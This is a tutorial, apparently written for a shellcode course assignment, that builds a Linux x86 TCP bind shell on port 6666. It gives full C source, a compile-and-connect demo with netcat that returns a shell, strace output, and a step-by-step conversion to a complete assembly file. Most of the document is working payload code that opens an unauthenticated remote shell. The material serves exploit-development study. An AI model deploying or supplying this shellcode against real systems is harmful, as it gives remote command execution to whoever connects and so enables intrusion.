1. Shell bind TCP shellcode

The first assignment is creating Linux x86 shellcode with a TCP port binding. It also has to exec a shell for an incoming connection and the port should be easily configurable.

We create a C file containing code for facilitating a TCP bind shell, which we’ll dissect and try to convert to ASM (Assembly). We’ll be reading several man pages and source header file which refer to argument values required for specific functions. Afterwards, we’ll try to optimize the file in an attempt to save bytes: the smaller, the better.

Created C code

First, we create a C file containing several functions and required parameters for creating a TCP bind shell.

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
 
int main(void)
{
	// Defining variables
        int client, sock;
        int port = 6666;

	// Defining struct
        struct sockaddr_in sockaddr;

	// Defining Ethernet TCP socket 
	// int socket(int domain, int type, int protocol);
        sock = socket(AF_INET, SOCK_STREAM, 0);

	// Setting variables for struct 
        sockaddr.sin_family = AF_INET; // 2
        sockaddr.sin_port = htons(port); // 6666
        sockaddr.sin_addr.s_addr = INADDR_ANY; // 0
 
	// Bind the port
	// int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
        bind(sock, (struct sockaddr *) &sockaddr, sizeof(sockaddr));
 
	// Listen on socket
        listen(sock, 0);
 
    // Accept connections
        client = accept(sock, NULL, NULL);
 
	// Redirect stdin, stdout and stderr
	// int dup2(int oldfd, int newfd);
        dup2(client, 0); // AF_INET
        dup2(client, 1); // TCP port 6666
        dup2(client, 2); // INADDR_ANY

	// int execve(const char *filename, char *const argv[], char *const envp[]);
        execve("/bin/sh", NULL, NULL);

	// Return a value as being expected by main function
        return 0;
}

Compile and run file

$ vim bind_tcp_c.c
$ ../compile_c.sh bind_tcp_c
[+] Compiling ... 
[+] Done!
$ ./bind_tcp_c &
[1] 2113
$ nc localhost 6666
id
uid=1000(vbox) gid=1000(vbox) groups=1000(vbox),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)

Tracing file

Running “strace” on the compiled binary gives us an idea what calls are being made during execution. Don’t run this for code you don’t trust: use a static analyzer or a debugger.

The traced output might see to end prematurely: it’s not because it’s waiting for an TCP connection.

$ strace ./bind_tcp_c
execve("./bind_tcp_c", ["./bind_tcp_c"], [/* 21 vars */]) = 0
brk(0)                                  = 0x99a2000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77aa000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=70799, ...}) = 0
mmap2(NULL, 70799, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7798000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\226\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1730024, ...}) = 0
mmap2(NULL, 1743580, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ee000
mprotect(0xb7791000, 4096, PROT_NONE)   = 0
mmap2(0xb7792000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a3) = 0xb7792000
mmap2(0xb7795000, 10972, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7795000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75ed000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb75ed900, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7792000, 8192, PROT_READ)   = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0xb77cd000, 4096, PROT_READ)   = 0
munmap(0xb7798000, 70799)               = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(6666), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 0)                            = 0
accept(3, 

Steps taken

According to the created C code for binding and listening, the following steps are taken:
– Declaring and defining variables
– Declaring and defining structures
– Creating a socket
– Setting variables for socket
– Bind the port
– Listen on address
– Accept connections
– Redirect input, output and errors
– Execute shell
– Return exit code for main

Used syscall functions
Breaking down the code in functions used by C for syscalls, the following functions are being used:
– socket 102 → 0x66
– bind 2 → 0x2
– listen 4 → 0x4
– accept 5 → 0x5
– dup2 63 → 0x3f
– execve 11 → 0x0b

According to the syscall definitions, the codes translate to the hex numbers being shown.

Creating a socket

Next stop is to check which calls are using what parameters and their expected values. The syscalls being referenced are placed in EAX, which uses parameters being placed in other registers such as EBX, ECX, EDX, etc.

The arguments for the socketcall are being displayed in the code above:
– domain –> AF_INET = 2
– type –> SOCK_STREAM = 1
– protocol –> IPPROTO_IP = 0

Call reference
Before creating a socket, several codes exist for calling functions for the socketcall syscall.

From “sys/socket.h”:
#define SYS_SOCKET 1 /* sys_socket(2) */

Domain
From “/usr/include/bits/socket.h”:
#define PF_INET 2 /* IP protocol family. */
#define AF_INET PF_INET

Type
From “bits/socket_type.h”:
enum __socket_type
{
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based
byte streams. */

Protocol
From “/usr/include/linux/in.h”:
IPPROTO_IP = 0, /* Dummy protocol for TCP */
#define IPPROTO_IP IPPROTO_IP

Assembly instructions

For illustration, we’ll be pushing variables on the stack very basically: later we’ll be using a more shellcode-friendly method.
We’ll be pushing the values in reverse order of the expected arguments due to little endianess.

; Creating socket
; int socket(int domain, int type, int protocol);
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
mov eax, 102 ; socketcall
mov ebx, 1 ; socketcall type 1 (sys_socket)

; socket arguments
push 0 ; IPPROTO_IP 0
push 1 ; SOCK_STREAM 1
push 2 ; AF_INET 2

mov ecx, esp ; Save the pointer for arguments
int 0x80 ; Syscall to call function with arguments
mov edx, eax ; Saved socket FD in EDX

Setting variables for socket

Setting the following variables from C code, building the constructor:
sockaddr.sin_family = AF_INET; // Address family TCP
sockaddr.sin_port = htons(port); // Port number as declared by ‘port’
sockaddr.sin_addr.s_addr = INADDR_ANY; // Accept from any address

Setting the arguments:
– family –> AF_INET = 2
– port –> Variable port number
– s_addr –> INADDR_ANY, accept from any source address

Assembly instructions

; Struct sockaddr_in
push 0 ; INADDR_ANY
push WORD 0x0a1a ; TCP port 6666, 0x1a0a in little endian format
push WORD 2 ; AF_INET 2
mov ecx, esp

Bind the port

Following code binds the constructor and port:
// int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
bind(sock, (struct sockaddr *) &sockaddr, sizeof(sockaddr));

Call reference
From “linux/net.h”:
#define SYS_BIND 2 /* sys_bind(2) */

Setting the arguments:
– sockfd –> The created and stored socket as an integer, stored in EDX
– sockaddr *addr –> Pointer to the memory address of the sockaddr structure for arguments, stored in ECX
– addrlen –> The length of the socket

Sockfd
Stored in EDX during defining arguments for socket

*addr
Stored in ECX, address sockaddr pointer for arguments

Addrlen
Length of the sockaddr constructor variable, for indicating the length of the address

From “netinet/in.h”:
#define INET_ADDRSTRLEN 16
#define INET6_ADDRSTRLEN 46

Assembly instructions

mov eax, 102 ; socketcall
mov ebx, 2 ; socketcall type 2 (sys_bind)

; sys_bind arguments
push 16 ; sockaddr struct, sizeof(struct sockaddr) = 16
push ecx ; Pointer to sockaddr_in
push edx ; FD socket

mov ecx, esp ; Argument array pointer
int 0x80 ; syscall, calling with arguments

Listen on address

Following code attempts to listen for connections
// int listen(int sockfd, int backlog);
listen(sock, 0);

Call reference
From “linux/net.h”:
#define SYS_LISTEN 4 /* sys_listen(2) */

Setting the arguments:
– sockfd –> Stored in previous code in EDX, for FD socket
– backlog –> Backlog, size of connectionqueue

Assembly instructions

mov eax, 102 ; socketcall
mov ebx, 4 ; socketcall type 4 (sys_listen)

; sys_listen arguments
push 0 ; Queue size
push edx ; Sockfd stored previously in EDX

mov ecx, esp ; Argument array pointer
int 0x80 ; Syscall, calling with arguments

Accept connections

The following code attempts to accept an incoming connection
// Accept connections
// int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
client = accept(sock, NULL, NULL);

Call reference
From “linux/net.h”:
#define SYS_ACCEPT 5 /* sys_accept(2) */

Setting the arguments:
– sockfd –> Stored in previous code in EDX, for FD socket
– sockaddr *addr –> Used for peer connections, not used.
Man page: “When addr is NULL, nothing is filled in; in this case, addrlen is not used, and should also be NULL.”
– socklen_t *addrlen –> As indicated by the man page, not used thus set to NULL

Assembly instructions

mov eax, 102 ; socketcall
mov ebx, 5 ; socketcall type 5 (sys_accept)

; sys_accept arguments
push 0 ; NULL
push 0 ; NULL
push edx ; Sockfd stored previously in EDX

mov ecx, esp ; Argument array pointer
int 0x80 ; Syscall, calling with arguments
mov edx, eax ; Store the FD socket being returned

Redirect input, output and errors

The following code redirects the STDIN, STDOUT and STDERR via dup2.
// Redirect input, output and errors
// int dup2(int oldfd, int newfd);
dup2(client, 0); // STDIN
dup2(client, 1); // STDOUT
dup2(client, 2); // STDERR

Call reference
From “asm/unistd_32.h”:
#define __NR_dup2 63

Setting the arguments:
STDIN:
– oldfd –> The used Client FD stored previously in EDX
– newfd –> STDIN

STDOUT:
– oldfd –> The used Client FD stored previously in EDX
– newfd –> STDOUT

STDERR:
– oldfd –> The used Client FD stored previously in EDX
– newfd –> STDERR

Assembly instructions

; STDIN
mov eax, 63 ; syscall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 0 ; STDIN
int 0x80 ; syscall

; STDOUT
mov eax, 63 ; socketcall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 1 ; STDOUT
int 0x80 ; syscall

; STDERR
mov eax, 63 ; socketcall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 2 ; STDERR
int 0x80 ; Syscall, calling with arguments

Execute shell

Before executing the shell via execve, the “program” or “script” needs to be pushed on the stack and referred correctly as a pointer.

The following code calls execve to execute a shell “/bin/sh”
// Execute shell
// int execve(const char *filename, char *const argv[], char *const envp[]);
execve(“/bin/sh”, NULL, NULL);

Call reference
From “asm/unistd_32.h”:
#define __NR_execve 11

Setting the arguments:
– *filename –> Executable or script, in this case it’s “/bin/sh”
– *argv[] –> Argument array to pass to the program, no arguments in this case
– *envp[] –> Array of strings to passed as environment of the new program, no env in this case

Generating the string
For passing the “program/script” to execve, it needs to be converted to hex and pushed on the stack.

For this, I’ve modified the original convert script for generating ASM instructions pushing characters on the stack:
The string needs to have an offset of 4 bytes each, or else the stack would have a wrong offset. Seeing “/bin/sh” is only 7 bytes and the number of slashes doesn’t affect functionality, “/bin//sh” is 8 bytes and correctly sized for putting on the stack in steps of 4 bytes.

python string_to_hex.py '/bin//sh'
String length : 8

Converted [{opcode} {0x hex} ; {reversed string}] format
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/

Assembly instructions

mov eax, 11 ; syscall, execve

; Push “/bin//sh” on the stack
push 0 ; Terminate string with null byte
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/

mov ebx, esp ; String pointer for ‘/bin//sh’
mov ecx, 0 ; NULL
mov edx, 0 ; NULL

int 0x80 ; Do some magic

Entire ASM file

; Linux x86 - Bind TCP shell
; Filename: bind_tcp_initial.asm
; Author: Hodorsec

global _start
section .text

_start:

; Creating socket 
    ; int socket(int domain, int type, int protocol);
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
    mov eax, 102   ; socketcall
    mov ebx, 1       ; socketcall type 1 (sys_socket)

    ; socket arguments
    push 0             ; IPPROTO_IP 0
    push 1             ; SOCK_STREAM 1
    push 2             ; AF_INET 2
     
    mov ecx, esp   ; Save the pointer for arguments  
    int 0x80          ; Syscall to call function with arguments
    mov edx, eax   ; Saved socket FD in EDX
    
; Setting variables for socket
    ; sockaddr.sin_family = AF_INET; // Address family TCP
    ; sockaddr.sin_port = htons(port); // Port number as declared by 'port'
    ; sockaddr.sin_addr.s_addr = INADDR_ANY; // Accept from any address
    ; Struct sockaddr_in 
    push 0                          ; INADDR_ANY
    push WORD 0x0a1a      ; TCP port 6666, 0x1a0a in little endian format
    push WORD 2                ; AF_INET 2
    mov ecx, esp
    
; Bind the port
    ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    ; bind(sock, (struct sockaddr *) &sockaddr, sizeof(sockaddr));
    mov eax, 102                    ; socketcall
    mov ebx, 2                        ; socketcall type 2 (sys_bind)

    ; sys_bind arguments
    push 16                             ; sockaddr struct, sizeof(struct sockaddr) = 16
    push ecx                            ; Pointer to sockaddr_in
    push edx                            ; FD socket

    mov ecx, esp                        ; Argument array pointer
    int 0x80                            ; syscall, calling with arguments

; Listen on address
    ; int listen(int sockfd, int backlog);
    ; listen(sock, 0);
    mov eax, 102                        ; socketcall
    mov ebx, 4                            ; socketcall type 4 (sys_listen)

    ; sys_listen arguments
    push 0                                  ; Queue size
    push edx                                ; Sockfd stored previously in EDX

    mov ecx, esp                        ; Argument array pointer
    int 0x80                                ; Syscall, calling with arguments
    
; Accept connections
    ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    ; client = accept(sock, NULL, NULL);
    mov eax, 102                    ; socketcall
    mov ebx, 5                        ; socketcall type 5 (sys_accept)

    ; sys_accept arguments
    push 0                              ; NULL
    push 0                              ; NULL
    push edx                           ; Sockfd stored previously in EDX

    mov ecx, esp                    ; Argument array pointer
    int 0x80                            ; Syscall, calling with arguments
    mov edx, eax                    ; Store the FD socket being returned
    
; Redirect input, output and errors
    ; int dup2(int oldfd, int newfd);
    ; dup2(client, 0); // STDIN
    ; dup2(client, 1); // STDOUT
    ; dup2(client, 2); // STDERR
    ; STDIN
    mov eax, 63                     ; syscall, dup2
    mov ebx, edx                    ; The used Client FD stored previously in EDX
    mov ecx, 0                      ; STDIN

    int 0x80                        ; syscall

    ; STDOUT
    mov eax, 63                     ; socketcall, dup2
    mov ebx, edx                    ; The used Client FD stored previously in EDX
    mov ecx, 1                      ; STDOUT

    int 0x80                          ; syscall

    ; STDERR
    mov eax, 63                     ; socketcall, dup2
    mov ebx, edx                    ; The used Client FD stored previously in EDX
    mov ecx, 2                      ; STDERR

    int 0x80                            ; Syscall, calling with arguments
    
; Execute Shell
    ; int execve(const char *filename, char *const argv[], char *const envp[]);
    ; execve("/bin/sh", NULL, NULL);
    mov eax, 11                     ; syscall, execve

    ; Push “/bin//sh” on the stack
    push 0                              ; Terminate string with null byte
    push 0x68732f2f             ; hs//
    push 0x6e69622f             ; nib/

    mov ebx, esp                    ; String pointer for ‘/bin//sh’
    mov ecx, 0                      ; NULL
    mov edx, 0                      ; NULL

    int 0x80                            ; Do some magic